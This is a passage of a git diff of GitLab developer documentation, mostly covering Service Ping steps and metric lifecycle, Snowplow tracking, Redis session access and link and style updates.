+prudent to skip this step until you have verified that it runs smoothly in production via a staged
rollout. In this case, go to the next step first, and then, after the verification period has passed, promote
the new Ruby to be the new default.
diff --git a/doc/development/scalability.md b/doc/development/scalability.md
index fdae66b7abc..7a3f3c7097d 100644
--- a/doc/development/scalability.md
+++ b/doc/development/scalability.md
@@ -123,8 +123,7 @@ the read replicas. [Omnibus ships with Patroni](../administration/postgresql/rep
#### Load-balancing
-GitLab EE has [application support for load balancing using read
-replicas](../administration/database_load_balancing.md). This load balancer does
+GitLab EE has [application support for load balancing using read replicas](../administration/postgresql/database_load_balancing.md). This load balancer does
some actions that aren't traditionally available in standard load balancers. For
example, the application considers a replica only if its replication lag is low
(for example, WAL data behind by less than 100 MB).
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index 65fdb815f87..21655d6a8fb 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -188,7 +188,7 @@ and [possessive quantifiers](https://www.regular-expressions.info/possessive.htm
#### Go
-Go's [`regexp`](https://golang.org/pkg/regexp/) package uses `re2` and isn't vulnerable to backtracking issues.
+Go's [`regexp`](https://pkg.go.dev/regexp) package uses `re2` and isn't vulnerable to backtracking issues.
## Further Links
@@ -544,7 +544,7 @@ This outputs `1` followed by the content of `/etc/passwd`.
### TLS minimum recommended version
-As we have [moved away from supporting TLS 1.0 and 1.1](https://about.gitlab.com/blog/2018/10/15/gitlab-to-deprecate-older-tls/), we should only use TLS 1.2 and above.
+As we have [moved away from supporting TLS 1.0 and 1.1](https://about.gitlab.com/blog/2018/10/15/gitlab-to-deprecate-older-tls/), you must use TLS 1.2 and above.
#### Ciphers
diff --git a/doc/development/service_ping/dictionary.md b/doc/development/service_ping/dictionary.md
deleted file mode 100644
index 810c789bc03..00000000000
--- a/doc/development/service_ping/dictionary.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-redirect_to: 'https://metrics.gitlab.com/index.html'
-remove_date: '2021-11-10'
----
diff --git a/doc/development/service_ping/implement.md b/doc/development/service_ping/implement.md
index 65a8b4c1cad..c32789740c3 100644
--- a/doc/development/service_ping/implement.md
+++ b/doc/development/service_ping/implement.md
@@ -26,6 +26,10 @@ To implement a new metric in Service Ping, follow these steps:
1. [Verify your metric](#verify-your-metric)
1. [Set up and test Service Ping locally](#set-up-and-test-service-ping-locally)
+NOTE:
+When you add or change a Service Metric, you must migrate metrics to [instrumentation classes](metrics_instrumentation.md).
+For information about the progress on migrating Service ping metrics, see this [epic](https://gitlab.com/groups/gitlab-org/-/epics/5547).
+
## Instrumentation classes
We recommend you use [instrumentation classes](metrics_instrumentation.md) in `usage_data.rb` where possible.
@@ -795,7 +799,7 @@ To set up Service Ping locally, you must:
1. [Set up local repositories](#set-up-local-repositories).
1. [Test local setup](#test-local-setup).
-1. (Optional) [Test Prometheus-based Service Ping](#test-prometheus-based-service-ping).
+1. Optional. [Test Prometheus-based Service Ping](#test-prometheus-based-service-ping).
### Set up local repositories
diff --git a/doc/development/service_ping/index.md b/doc/development/service_ping/index.md
index 6ddbe2f9646..1f751eea4d8 100644
--- a/doc/development/service_ping/index.md
+++ b/doc/development/service_ping/index.md
@@ -8,40 +8,24 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> Introduced in GitLab Ultimate 11.2, more statistics.
-This guide describes Service Ping's purpose and how it's implemented.
-
-For more information about Product Intelligence, see:
-
-- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
-- [Snowplow Guide](../snowplow/index.md)
-
-More links:
-
-- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
-- [Data Analysis Process](https://about.gitlab.com/handbook/business-technology/data-team/#data-analysis-process/)
-- [Data for Product Managers](https://about.gitlab.com/handbook/business-technology/data-team/programs/data-for-product-managers/)
-- [Data Infrastructure](https://about.gitlab.com/handbook/business-technology/data-team/platform/infrastructure/)
-
-## What is Service Ping?
-
-Service Ping is a process in GitLab that collects and sends a weekly payload to GitLab Inc.
+Service Ping is a GitLab process that collects and sends a weekly payload to GitLab.
The payload provides important high-level data that helps our product, support,
-and sales teams understand how GitLab is used. For example, the data helps to:
+and sales teams understand how GitLab is used. The data helps to:
- Compare counts month over month (or week over week) to get a rough sense for how an instance uses
different product features.
- Collect other facts that help us classify and understand GitLab installations.
-- Calculate our Stage Monthly Active Users (SMAU), which helps to measure the success of our stages
+- Calculate our stage monthly active users (SMAU), which helps to measure the success of our stages
and features.
-Service Ping information is not anonymous. It's linked to the instance's hostname. However, it does
+Service Ping information is not anonymous. It's linked to the instance's hostname, but does
not contain project names, usernames, or any other specific data.
-Sending a Service Ping payload is optional and can be [disabled](#disable-service-ping) on any self-managed instance.
-When Service Ping is enabled, GitLab gathers data from the other instances
+Sending a Service Ping payload is optional and you can [disable](#disable-service-ping) it on any
+self-managed instance. When Service Ping is enabled, GitLab gathers data from the other instances
and can show your instance's usage statistics to your users.
-### Terminology
+## Service Ping terminology
We use the following terminology to describe the Service Ping components:
@@ -53,12 +37,18 @@ We use the following terminology to describe the Service Ping components:
- **MAU**: monthly active users.
- **WAU**: weekly active users.
-### Why should we enable Service Ping?
+### Why enable Service Ping?
+
+The main purpose of Service Ping is to build a better GitLab. We collect data about how GitLab is used
+to understand feature or stage adoption and usage. This data gives an insight into how GitLab adds
+value and helps our team understand the reasons why people use GitLab, and with this knowledge we're able to
+make better product decisions.
+
+There are several other benefits to enabling Service Ping:
-- The main purpose of Service Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions.
- As a benefit of having Service Ping active, GitLab lets you analyze the users' activities over time of your GitLab installation.
- As a benefit of having Service Ping active, GitLab provides you with [DevOps Score](../../user/admin_area/analytics/dev_ops_report.md#devops-score), which gives you an overview of your entire instance's adoption of Concurrent DevOps from planning to monitoring.
-- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
+- You get better, more proactive support (assuming that our TAMs and support organization used the data to deliver more value).
- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
- You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes.
- Service Ping is enabled by default. To disable it, see [Disable Service Ping](#disable-service-ping).
@@ -78,7 +68,7 @@ Because of these limitations we recommend you:
> Introduced in GitLab 14.1.
-In GitLab versions 14.1 and later, free self-managed users running [GitLab EE](../ee_features.md) can receive paid features by registering with GitLab and sending us activity data through [Service Ping](#what-is-service-ping). Features introduced here do not remove the feature from its paid tier. Users can continue to access the features in a paid tier without sharing usage data.
+In GitLab versions 14.1 and later, free self-managed users running [GitLab EE](../ee_features.md) can receive paid features by registering with GitLab and sending us activity data through Service Ping. Features introduced here do not remove the feature from its paid tier. Users can continue to access the features in a paid tier without sharing usage data.
#### Features available in 14.1 and later
@@ -484,20 +474,34 @@ To generate Service Ping, use [Teleport](https://goteleport.com/docs/) or a deta
1. Connect to bastion with agent forwarding:
- `$ ssh -A lb-bastion.gprd.gitlab.com`.
+ ```shell
+ ssh -A lb-bastion.gprd.gitlab.com
+ ```
+
1. Create named screen:
- `$ screen -S <username>_usage_ping_<date>`.
+ ```shell
+ screen -S <username>_usage_ping_<date>
+ ```
+
1. Connect to console host:
+
+ ```shell
+ ssh $USER-rails@console-01-sv-gprd.c.gitlab-production.internal
+ ```
- `$ ssh $USER-rails@console-01-sv-gprd.c.gitlab-production.internal`.
-1. Run `ServicePing::SubmitService.new.execute`
-1. Detach from screen:
+1. Run:
- `ctrl + a, ctrl + d`
-1. Exit from bastion:
+ ```shell
+ ServicePing::SubmitService.new.execute
+ ```
- `$ exit`
+1. To detach from screen, press `ctrl + A`, `ctrl + D`.
+1. Exit from bastion:
+
+ ```shell
+ exit
+ ```
### Verification (After approx 30 hours)
@@ -511,22 +515,49 @@ To generate Service Ping, use [Teleport](https://goteleport.com/docs/) or a deta
1. Reconnect to bastion:
- `$ ssh -A lb-bastion.gprd.gitlab.com`
+ ```shell
+ ssh -A lb-bastion.gprd.gitlab.com
+ ```
+
1. Find your screen session:
- `$ screen -ls`
+ ```shell
+ screen -ls
+ ```
+
1. Attach to your screen session:
- `$ screen -x 14226.mwawrzyniak_usage_ping_2021_01_22`
-1. Check the last payload in `raw_usage_data` table: `RawUsageData.last.payload`
-1. Check the when the payload was sent: `RawUsageData.last.sent_at`
+ ```shell
+ screen -x 14226.mwawrzyniak_usage_ping_2021_01_22
+ ```
+
+1. Check the last payload in `raw_usage_data` table:
+
+ ```shell
+ RawUsageData.last.payload
+ ```
+
+1. Check the when the payload was sent:
+
+ ```shell
+ RawUsageData.last.sent_at
+ ```
+
+### Skip database write operations
+
+To skip database write operations, DevOps report creation, and storage of usage data payload, pass an optional argument:
+
+```shell
+skip_db_write:
+ServicePing::SubmitService.new(skip_db_write: true).execute
+```
## Troubleshooting
### Cannot disable Service Ping using the configuration file
The method to disable Service Ping using the GitLab configuration file does not work in
-GitLab versions 9.3.0 to 13.12.3. To disable it, you need to use the Admin Area in
+GitLab versions 9.3.0 to 13.12.3. To disable it, you must use the Admin Area in
the GitLab UI instead. For more information, see
[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/333269).
@@ -603,3 +634,12 @@ To work around this bug, you have two options:
1. Expand **Usage Statistics**.
1. Clear the **Enable Service Ping** checkbox.
1. Select **Save Changes**.
+
+## Related topics
+
+- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
+- [Snowplow Guide](../snowplow/index.md)
+- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
+- [Data Analysis Process](https://about.gitlab.com/handbook/business-technology/data-team/#data-analysis-process/)
+- [Data for Product Managers](https://about.gitlab.com/handbook/business-technology/data-team/programs/data-for-product-managers/)
+- [Data Infrastructure](https://about.gitlab.com/handbook/business-technology/data-team/platform/infrastructure/)
diff --git a/doc/development/service_ping/metrics_dictionary.md b/doc/development/service_ping/metrics_dictionary.md
index b3c404de150..808c5064cf3 100644
--- a/doc/development/service_ping/metrics_dictionary.md
+++ b/doc/development/service_ping/metrics_dictionary.md
@@ -181,6 +181,7 @@ product_group: group::product intelligence
value_type: string
status: active
milestone: 9.1
+instrumentation_class: UuidMetric
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1521
time_frame: none
data_source: database
@@ -199,22 +200,23 @@ The GitLab codebase provides a dedicated [generator](https://gitlab.com/gitlab-o
For uniqueness, the generated files include a timestamp prefix in ISO 8601 format.
-The generator takes a list of key paths and 2 options as arguments. It creates metric YAML definitions in the corresponding location:
+The generator takes a list of key paths and 3 options as arguments. It creates metric YAML definitions in the corresponding location:
- `--ee`, `--no-ee` Indicates if metric is for EE.
- `--dir=DIR` Indicates the metric directory. It must be one of: `counts_7d`, `7d`, `counts_28d`, `28d`, `counts_all`, `all`, `settings`, `license`.
+- `--class_name=CLASS_NAME` Indicates the instrumentation class. For example `UsersCreatingIssuesMetric`, `UuidMetric`
**Single metric example**
```shell
-bundle exec rails generate gitlab:usage_metric_definition counts.issues --dir=7d
+bundle exec rails generate gitlab:usage_metric_definition counts.issues --dir=7d --class_name=CountIssues
create config/metrics/counts_7d/issues.yml
```
**Multiple metrics example**
```shell
-bundle exec rails generate gitlab:usage_metric_definition counts.issues counts.users --dir=7d
+bundle exec rails generate gitlab:usage_metric_definition counts.issues counts.users --dir=7d --class_name=CountUsersCreatingIssues
create config/metrics/counts_7d/issues.yml
create config/metrics/counts_7d/users.yml
```
@@ -223,7 +225,7 @@ NOTE:
To create a metric definition used in EE, add the `--ee` flag.
```shell
-bundle exec rails generate gitlab:usage_metric_definition counts.issues --ee --dir=7d
+bundle exec rails generate gitlab:usage_metric_definition counts.issues --ee --dir=7d --class_name=CountUsersCreatingIssues
create ee/config/metrics/counts_7d/issues.yml
```
@@ -236,9 +238,9 @@ A YAML metric definition is required for each metric. A dedicated generator is p
The generator takes `category` and `event` arguments, as the root key is `redis_hll_counters`, and creates two metric definitions for weekly and monthly time frames:
```shell
-bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues i_closed
-create config/metrics/counts_7d/i_closed_weekly.yml
-create config/metrics/counts_28d/i_closed_monthly.yml
+bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues count_users_closing_issues
+create config/metrics/counts_7d/count_users_closing_issues_weekly.yml
+create config/metrics/counts_28d/count_users_closing_issues_monthly.yml
```
To create a metric definition used in EE, add the `--ee` flag.
diff --git a/doc/development/service_ping/metrics_lifecycle.md b/doc/development/service_ping/metrics_lifecycle.md
index 46040146de2..ebfab6341e9 100644
--- a/doc/development/service_ping/metrics_lifecycle.md
+++ b/doc/development/service_ping/metrics_lifecycle.md
@@ -55,23 +55,24 @@ The correct approach is to add a new metric for GitLab 12.6 release with updated
and update existing business analysis artefacts to use `example_metric_without_archived` instead of `example_metric`
-## Deprecate a metric
+## Remove a metric
+
+WARNING:
+If a metric is not used in Sisense or any other system after 6 months, the
+Product Intelligence team marks it as inactive and assigns it to the group owner for review.
+
+We are working on automating this process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/338466) for details.
-If a metric is obsolete and you no longer use it, you can mark it as deprecated.
+Product Intelligence removes metrics from Service Ping if they are not used in any Sisense dashboard.
-For an example of the metric deprecation process take a look at this [example merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59899)
+For an example of the metric removal process, see this [example issue](https://gitlab.com/gitlab-org/gitlab/-/issues/297029).
-To deprecate a metric:
+To remove a metric:
1. Check the following YAML files and verify the metric is not used in an aggregate:
- [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/)
- [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/)
-1. Create an issue in the [GitLab Data Team
- project](https://gitlab.com/gitlab-data/analytics/-/issues). Ask for
- confirmation that the metric is not used by other teams, or in any of the SiSense
- dashboards.
-
1. Verify the metric is not used to calculate the conversational index. The
conversational index is a measure that reports back to self-managed instances
to inform administrators of the progress of DevOps adoption for the instance.
@@ -81,70 +82,6 @@ To deprecate a metric:
to view the metrics that are used. The metrics are represented
as the keys that are passed as a field argument into the `get_value` method.
-1. Document the deprecation in the metric's YAML definition. Set
- the `status:` attribute to `deprecated`, for example:
-
- ```yaml
- ---
- key_path: analytics_unique_visits.analytics_unique_visits_for_any_target_monthly
- description: Visits to any of the pages listed above per month
- product_section: dev
- product_stage: manage
- product_group: group::analytics
- product_category:
- value_type: number
- status: deprecated
- time_frame: 28d
- data_source:
- distribution:
- - ce
- tier:
- - free
- ```
-
-1. Replace the metric's instrumentation with a fixed value. This avoids wasting
- resources to calculate the deprecated metric. In
- [`lib/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb)
- or
- [`ee/lib/ee/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/usage_data.rb),
- replace the code that calculates the metric's value with a fixed value that
- indicates it's deprecated:
-
- ```ruby
- module Gitlab
- class UsageData
- DEPRECATED_VALUE = -1000
-
- def analytics_unique_visits_data
- results['analytics_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
- results['analytics_unique_visits_for_any_target_monthly'] = DEPRECATED_VALUE
-
- { analytics_unique_visits: results }
- end
- # ...
- end
- end
- ```
-
-## Remove a metric
-
-### Removal policy
-
-WARNING:
-A metric that is not used in Sisense or any other system after 6 months is marked by the
-Product Intelligence team as inactive and is assigned to the group owner for review.
-
-We are working on automating this process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/338466) for details.
-
-Metrics can be removed from Service Ping if they:
-
-- Were previously [deprecated](#deprecate-a-metric).
-- Are not used in any Sisense dashboard.
-
-For an example of the metric removal process take a look at this [example issue](https://gitlab.com/gitlab-org/gitlab/-/issues/297029)
-
-### To remove a deprecated metric
-
1. Verify that removing the metric from the Service Ping payload does not cause
errors in [Version App](https://gitlab.com/gitlab-services/version-gitlab-com)
when the updated payload is collected and processed. Version App collects
@@ -159,9 +96,6 @@ For an example of the metric removal process take a look at this [example issue]
Ask for confirmation that the metric is not referred to in any SiSense dashboards and
can be safely removed from Service Ping. Use this
[example issue](https://gitlab.com/gitlab-data/analytics/-/issues/7539) for guidance.
- This step can be skipped if verification done during [deprecation process](#deprecate-a-metric)
- reported that metric is not required by any data transformation in Snowflake data warehouse nor it is
- used by any of SiSense dashboards.
1. After you verify the metric can be safely removed,
update the attributes of the metric's YAML definition:
diff --git a/doc/development/session.md b/doc/development/session.md
index bee857da323..61a130e3a53 100644
--- a/doc/development/session.md
+++ b/doc/development/session.md
@@ -51,12 +51,12 @@ Session data can be accessed directly through Redis. This can let you check up o
```ruby
# Get a list of sessions
-session_ids = Gitlab::Redis::SharedState.with do |redis|
- redis.smembers("#{Gitlab::Redis::SharedState::USER_SESSIONS_LOOKUP_NAMESPACE}:#{user.id}")
+session_ids = Gitlab::Redis::Sessions.with do |redis|
+ redis.smembers("#{Gitlab::Redis::Sessions::USER_SESSIONS_LOOKUP_NAMESPACE}:#{user.id}")
end
# Retrieve a specific session
-session_data = Gitlab::Redis::SharedState.with { |redis| redis.get("#{Gitlab::Redis::SharedState::SESSION_NAMESPACE}:#{session_id}") }
+session_data = Gitlab::Redis::Sessions.with { |redis| redis.get("#{Gitlab::Redis::Sessions::SESSION_NAMESPACE}:#{session_id}") }
Marshal.load(session_data)
```
diff --git a/doc/development/shell_scripting_guide/index.md b/doc/development/shell_scripting_guide/index.md
index d3b446d45da..3d58fabad72 100644
--- a/doc/development/shell_scripting_guide/index.md
+++ b/doc/development/shell_scripting_guide/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab consists of many various services and sub-projects. The majority of
their backend code is written in [Ruby](https://www.ruby-lang.org) and
-[Go](https://golang.org). However, some of them use shell scripts for
+[Go](https://go.dev/). However, some of them use shell scripts for
automation of routine system administration tasks like deployment,
installation, etc. It's being done either for historical reasons or as an effort
to minimize the dependencies, for instance, for Docker images.
diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md
index e28a328888d..2137a7d83e6 100644
--- a/doc/development/sidekiq_style_guide.md
+++ b/doc/development/sidekiq_style_guide.md
@@ -342,6 +342,7 @@ end
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69372) in GitLab 14.3.
> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/338350) in GitLab 14.4.
+> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/338350) in GitLab 14.6.
The deduplication always take into account the latest binary replication pointer, not the first one.
This happens because we drop the same job scheduled for the second time and the Write-Ahead Log (WAL) is lost.
@@ -353,15 +354,11 @@ This way we are always comparing the latest binary replication pointer,
making sure that we read from the replica that is fully caught up.
FLAG:
-On self-managed GitLab, by default this feature is not available.
-To make it available,
-ask an administrator to [enable the preserve_latest_wal_locations_for_idempotent_jobs flag](../administration/feature_flags.md).
-FLAG:
-On self-managed GitLab, by default this feature is not available.
-To make it available,
-ask an administrator to [enable the `preserve_latest_wal_locations_for_idempotent_jobs` flag](../administration/feature_flags.md).
+On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to
+[disable the feature flag](../administration/feature_flags.md) named `preserve_latest_wal_locations_for_idempotent_jobs`.
+
This feature flag is related to GitLab development and is not intended to be used by GitLab administrators, though.
-On GitLab.com, this feature is available but can be configured by GitLab.com administrators only.
+On GitLab.com, this feature is available.
## Limited capacity worker
@@ -574,7 +571,7 @@ of reading a stale record is non-zero due to replicas potentially lagging behind
When the number of jobs that rely on the database increases, ensuring immediate data consistency
can put unsustainable load on the primary database server. We therefore added the ability to use
-[database load balancing for Sidekiq workers](../administration/database_load_balancing.md#load-balancing-for-sidekiq).
+[Database Load Balancing for Sidekiq workers](../administration/postgresql/database_load_balancing.md).
By configuring a worker's `data_consistency` field, we can then allow the scheduler to target read replicas
under several strategies outlined below.
diff --git a/doc/development/snowplow/implementation.md b/doc/development/snowplow/implementation.md
index fe1de789eae..6da4896c7e7 100644
--- a/doc/development/snowplow/implementation.md
+++ b/doc/development/snowplow/implementation.md
@@ -13,12 +13,12 @@ This page describes how to:
## Snowplow JavaScript frontend tracking
-GitLab provides a `Tracking` interface that wraps the [Snowplow JavaScript tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/)
-to track custom events.
+GitLab provides a `Tracking` interface that wraps the [Snowplow JavaScript tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/)
+to track custom events.
For the recommended frontend tracking implementation, see [Usage recommendations](#usage-recommendations).
-Tracking implementations must have an `action` and a `category`. You can provide additional
+Tracking implementations must have an `action` and a `category`. You can provide additional
categories from the [structured event taxonomy](index.md#structured-event-taxonomy) with an `extra` object
that accepts key-value pairs.
@@ -60,15 +60,15 @@ The following example shows `data-track-*` attributes assigned to a button:
| `data-track-action` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field is `activate_form_input` and clicking a button is `click_button`. Replaces `data-track-event`, which was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290962) in GitLab 13.11. |
| `data-track-label` | false | The specific element or object to act on. This can be: the label of the element, for example, a tab labeled 'Create from template' for `create_from_template`; a unique identifier if no text is available, for example, `groups_dropdown_close` for closing the Groups dropdown in the top bar; or the name or title attribute of a record being created. |
| `data-track-property` | false | Any additional property of the element, or object being acted on. |
-| `data-track-value` | false | Describes a numeric value or something directly related to the event. This could be the value of an input. For example, `10` when clicking `internal` visibility. If omitted, this is the element's `value` property or `undefined`. For checkboxes, the default value is the element's checked attribute or `0` when unchecked. |
+| `data-track-value` | false | Describes a numeric value (decimal) directly related to the event. This could be the value of an input. For example, `10` when clicking `internal` visibility. If omitted, this is the element's `value` property or `undefined`. For checkboxes, the default value is the element's checked attribute or `0` when unchecked. |
| `data-track-extra` | false | A key-value pair object passed as a valid JSON string. This attribute is added to the `extra` property in our [`gitlab_standard`](schemas.md#gitlab_standard) schema. |
| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](index.md#structured-event-taxonomy). |
#### Event listeners
Event listeners bind at the document level to handle click events in elements with data attributes.
-This allows them to be handled when the DOM re-renders or changes. Document-level binding reduces
-the likelihood that click events stop propagating up the DOM tree.
+This allows them to be handled when the DOM re-renders or changes. Document-level binding reduces
+the likelihood that click events stop propagating up the DOM tree.
If click events stop propagating, you must implement listeners and [Vue component tracking](#implement-vue-component-tracking) or [raw JavaScript tracking](#implement-raw-javascript-tracking).
@@ -102,12 +102,12 @@ track_action: "click_button" })
### Implement Vue component tracking
For custom event tracking, use a Vue `mixin` in components. Vue `mixin` exposes the `Tracking.event`
-static method and the `track` method. You can specify tracking options in `data` or `computed`.
-These options override any defaults and allow the values to be dynamic from props or based on state.
+static method and the `track` method. You can specify tracking options in `data` or `computed`.
+These options override any defaults and allow the values to be dynamic from props or based on state.
-Several default options are passed when an event is tracked from the component:
+Several default options are passed when an event is tracked from the component:
-- `category`: If you don't specify, by default `document.body.dataset.page` is used.
+- `category`: If you don't specify, by default `document.body.dataset.page` is used.
- `label`
- `property`
- `value`
@@ -121,7 +121,7 @@ To implement Vue component tracking:
const trackingMixin = Tracking.mixin;
```
-1. Provide categories to track the event from the component. For example, to track all events in a
+1. Provide categories to track the event from the component. For example, to track all events in a
component with a label, use the `label` category:
```javascript
@@ -293,14 +293,14 @@ describe('MyTracking', () => {
### Form tracking
-To enable Snowplow automatic [form tracking](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/javascript-tracker/javascript-tracker-v2/tracking-specific-events/#form-tracking):
+To enable Snowplow automatic [form tracking](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/javascript-tracker/javascript-tracker-v2/tracking-specific-events/#form-tracking):
-1. Call `Tracking.enableFormTracking` when the DOM is ready.
+1. Call `Tracking.enableFormTracking` when the DOM is ready.
1. Provide a `config` object that includes at least one of the following elements:
- `forms` determines the forms to track. Identified by the CSS class name.
- `fields` determines the fields inside the tracked forms to track. Identified by the field `name`.
1. Optional. Provide a list of contexts as the second argument. The [`gitlab_standard`](schemas.md#gitlab_standard) schema is excluded from these events.
-
+
```javascript
Tracking.enableFormTracking({
forms: { allow: ['sign-in-form', 'password-recovery-form'] },
@@ -339,7 +339,7 @@ Backend tracking provides:
- User behavior tracking
- Instrumentation to monitor and visualize performance over time in a section or aspect of code.
-To add custom event tracking and instrumentation, call the `GitLab::Tracking.event` class method.
+To add custom event tracking and instrumentation, call the `GitLab::Tracking.event` class method.
For example:
```ruby
@@ -361,7 +361,7 @@ Use the following arguments:
| `action` | String | | The action being taken. For example, a controller action such as `create`, or an Active Record callback. |
| `label` | String | nil | The specific element or object to act on. This can be one of the following: the label of the element, for example, a tab labeled 'Create from template' for `create_from_template`; a unique identifier if no text is available, for example, `groups_dropdown_close` for closing the Groups dropdown in the top bar; or the name or title attribute of a record being created. |
| `property` | String | nil | Any additional property of the element, or object being acted on. |
-| `value` | Numeric | nil | Describes a numeric value or something directly related to the event. This could be the value of an input. For example, `10` when clicking `internal` visibility. |
+| `value` | Numeric | nil | Describes a numeric value (decimal) directly related to the event. This could be the value of an input. For example, `10` when clicking `internal` visibility. |
| `context` | Array\[SelfDescribingJSON\] | nil | An array of custom contexts to send with this event. Most events should not have any custom contexts. |
| `project` | Project | nil | The project associated with the event. |
| `user` | User | nil | The user associated with the event. |
@@ -370,7 +370,7 @@ Use the following arguments:
### Unit testing
-To test backend Snowplow events, use the `expect_snowplow_event` helper. For more information, see
+To test backend Snowplow events, use the `expect_snowplow_event` helper. For more information, see
[testing best practices](../testing_guide/best_practices.md#test-snowplow-events).
### Performance
@@ -419,17 +419,24 @@ Snowplow Inspector Chrome Extension is a browser extension for testing frontend
[Snowplow Micro](https://snowplowanalytics.com/blog/2019/07/17/introducing-snowplow-micro/) is a
Docker-based solution for testing backend and frontend in a local development environment. Snowplow Micro
-records the same events as the full Snowplow pipeline. To query events, use the Snowplow Micro API.
+records the same events as the full Snowplow pipeline. To query events, use the Snowplow Micro API.
+
+It can be set up automatically using [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit).
+See the [how-to docs](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/snowplow_micro.md) for more details.
+
+Optionally, you can set it up manually, using the following instructions.
+
+#### Set up Snowplow Micro manually
-To install and run Snowplow Micro, complete these steps to modify the
+To install and run Snowplow Micro, complete these steps to modify the
[GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit):
1. Ensure [Docker is installed](https://docs.docker.com/get-docker/) and running.
-1. To install Snowplow Micro, clone the settings in
+1. To install Snowplow Micro, clone the settings in
[this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration).
-1. Navigate to the directory with the cloned project,
+1. Navigate to the directory with the cloned project,
and start the appropriate Docker container:
```shell
diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md
index f4f41221699..dbc7a25075f 100644
--- a/doc/development/snowplow/index.md
+++ b/doc/development/snowplow/index.md
@@ -90,7 +90,7 @@ Each click event provides attributes that describe the event.
| action | text | true | The action the user takes, or aspect that's being instrumented. The first word must describe the action or aspect. For example, clicks must be `click`, activations must be `activate`, creations must be `create`. Use underscores to describe what was acted on. For example, activating a form field is `activate_form_input`, an interface action like clicking on a dropdown is `click_dropdown`, a behavior like creating a project record from the backend is `create_project`. |
| label | text | false | The specific element or object to act on. This can be one of the following: the label of the element, for example, a tab labeled 'Create from template' for `create_from_template`; a unique identifier if no text is available, for example, `groups_dropdown_close` for closing the Groups dropdown in the top bar; or the name or title attribute of a record being created. |
| property | text | false | Any additional property of the element, or object being acted on. |
-| value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input. For example, `10` when clicking `internal` visibility. |
+| value | decimal | false | Describes a numeric value (decimal) directly related to the event. This could be the value of an input. For example, `10` when clicking `internal` visibility. |
### Examples
@@ -149,6 +149,19 @@ ORDER BY page_view_start DESC
LIMIT 100
```
+#### Query JSON formatted data
+
+```sql
+SELECT
+ derived_tstamp,
+ contexts:data[0]:data:extra:old_format as CURRENT_FORMAT,
+ contexts:data[0]:data:extra:value as UPDATED_FORMAT
+FROM legacy.snowplow_structured_events_all
+WHERE event_action in ('wiki_format_updated')
+ORDER BY derived_tstamp DESC
+LIMIT 100
+```
+
### Web-specific parameters
Snowplow JavaScript adds [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default.
diff --git a/doc/development/snowplow/schemas.md b/doc/development/snowplow/schemas.md
index 5b9e4f5256e..f66e0566a9c 100644
--- a/doc/development/snowplow/schemas.md
+++ b/doc/development/snowplow/schemas.md
@@ -18,6 +18,7 @@ The [`StandardContext`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/g
|----------------|---------------------|-----------------------|---------------------------------------------------------------------------------------------|
| `project_id` | **{dotted-circle}** | integer | |
| `namespace_id` | **{dotted-circle}** | integer | |
+| `user_id` | **{dotted-circle}** | integer | User database record ID attribute. This file undergoes a pseudonymization process at the collector level. |
| `environment` | **{check-circle}** | string (max 32 chars) | Name of the source environment, such as `production` or `staging` |
